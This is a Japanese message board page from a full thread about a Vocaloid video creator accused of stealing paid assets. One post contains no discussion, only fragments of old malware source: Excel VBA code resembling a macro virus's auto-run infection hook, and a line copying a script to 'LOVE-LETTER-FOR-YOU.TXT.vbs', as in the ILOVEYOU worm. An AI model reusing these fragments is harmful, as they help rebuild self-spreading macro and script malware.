レス数が1スレッドの最大レス数(1000件)を超えています。残念ながら投稿することができません。

初音ミクPVで有名な「ゆのみP」が有料素材盗用★36

601：番組の途中ですが名無しです：2012/01/31(火) 19:49:08 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

掲示板管理者へ連絡無料レンタル掲示板